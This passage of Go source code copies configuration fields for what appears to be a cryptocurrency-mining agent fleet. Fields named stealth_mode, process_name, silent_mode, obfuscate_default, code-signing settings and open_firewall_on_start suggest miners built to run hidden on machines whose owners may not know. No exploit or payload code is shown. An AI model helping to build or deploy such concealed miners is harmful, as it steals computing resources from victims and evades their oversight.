if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
|
|
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
|
}
|
|
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
|
|
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
|
}
|
|
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
|
|
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
|
}
|
|
if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
|
|
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
|
}
|
|
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
|
|
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
|
}
|
|
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
|
|
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
|
}
|
|
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
|
|
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
|
}
|
|
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
|
|
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
|
}
|
|
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
|
|
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
|
}
|
|
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
|
|
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
|
}
|
|
if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
|
|
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
|
}
|
|
if in(daKeys, "adapt_to_hardware") {
|
|
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
|
}
|
|
if in(daKeys, "self_healing") {
|
|
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
|
}
|
|
if in(daKeys, "file_logging") {
|
|
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
|
}
|
|
if in(daKeys, "stealth_mode") {
|
|
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
|
}
|
|
}
|
|
|
|
if has("background") {
|
|
bgKeys := nestedJSONKeys(present, "background")
|
|
if in(bgKeys, "silent_mode") {
|
|
dst.Background.SilentMode = src.Background.SilentMode
|
|
}
|
|
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
|
|
dst.Background.RunAs = src.Background.RunAs
|
|
}
|
|
if in(bgKeys, "auto_start") {
|
|
dst.Background.AutoStart = src.Background.AutoStart
|
|
}
|
|
}
|
|
|
|
if has("alerts") {
|
|
alertKeys := nestedJSONKeys(present, "alerts")
|
|
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
|
|
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
|
}
|
|
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
|
|
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
|
}
|
|
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
|
|
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
|
}
|
|
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
|
|
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
|
}
|
|
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
|
|
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
|
}
|
|
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
|
|
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
|
|
}
|
|
if in(alertKeys, "email_enabled") {
|
|
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
|
}
|
|
if in(alertKeys, "notify_agent_connect") {
|
|
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
|
|
}
|
|
if in(alertKeys, "notify_agent_reconnect") {
|
|
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
|
|
}
|
|
if in(alertKeys, "notify_agent_offline") {
|
|
dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline
|
|
}
|
|
if in(alertKeys, "notify_hashrate_drop") {
|
|
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
|
|
}
|
|
if in(alertKeys, "notify_rejection_rate") {
|
|
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
|
|
}
|
|
if in(alertKeys, "notify_build_complete") {
|
|
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
|
|
}
|
|
if in(alertKeys, "notify_kev_exposure") {
|
|
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
|
|
}
|
|
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
|
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
|
}
|
|
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
|
|
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
|
}
|
|
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
|
|
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
|
}
|
|
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
|
|
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
|
}
|
|
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
|
|
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
|
}
|
|
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
|
|
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
|
}
|
|
}
|
|
|
|
if has("server") {
|
|
srvKeys := nestedJSONKeys(present, "server")
|
|
if in(srvKeys, "public_url") {
|
|
dst.Server.PublicURL = src.Server.PublicURL
|
|
}
|
|
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
|
|
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
|
}
|
|
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
|
|
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
|
}
|
|
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
|
|
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
|
}
|
|
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
|
|
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
|
}
|
|
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
|
|
dst.Server.MaxAgents = src.Server.MaxAgents
|
|
}
|
|
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
|
|
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
|
}
|
|
if in(srvKeys, "log_agent_connections") {
|
|
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
|
}
|
|
if in(srvKeys, "log_share_submissions") {
|
|
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
|
}
|
|
if in(srvKeys, "log_pool_traffic") {
|
|
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
|
}
|
|
if in(srvKeys, "strict_wallet_validation") {
|
|
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
|
}
|
|
if in(srvKeys, "open_firewall_on_start") {
|
|
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
|
}
|
|
if in(srvKeys, "obfuscate_default") {
|
|
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
|
}
|
|
if in(srvKeys, "sign_enabled") {
|
|
dst.Server.SignEnabled = src.Server.SignEnabled
|
|
}
|
|
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
|
|
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
|
}
|
|
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
|
|
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
|
}
|
|
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
|
|
dst.Server.SignToolPath = src.Server.SignToolPath
|
|
}
|
|
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
|
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
|
}
|
|
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
|
|
dst.Server.FleetSecret = src.Server.FleetSecret
|
|
}
|
|
if in(srvKeys, "public_builds_enabled") {
|
|
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
|
|
}
|
|
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
|
|
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
|
|
}
|
|
}
|
|
|
|
if has("tunnel_defaults") {
|
|
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
|
|
if in(tdKeys, "cloudflared_target_url") {
|
|
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
|
|
}
|
|
if in(tdKeys, "cloudflare_tunnel_token") {
|
|
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
|
|
}
|
|
}
|
|
|
|
// Keep cloudflared default aligned with public_url when unset.
|
|
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
|
|
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
|
|
}
|
|
}
|
|
|
|
func (c *Config) Save() error {
|
|
configPath := filepath.Join(c.DataDir, "config.json")
|
|
data, err := json.MarshalIndent(c, "", " ")
|
|
if err != nil {
|
|
return fmt.Errorf("failed to marshal config: %w", err)
|
|
}
|
|
if err := os.WriteFile(configPath, data, 0644); err != nil {
|
|
return err
|
|
}
|
|
c.syncCloudflaredTokenFile()
|
|
return nil
|
|
}
|
|
|
|
func (c *Config) PoolURL() string {
|
|
proto := "stratum+tcp"
|
|
if c.Pool.UseTLS {
|
|
proto = "stratum+ssl"
|
|
}
|
|
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
|
|
}
|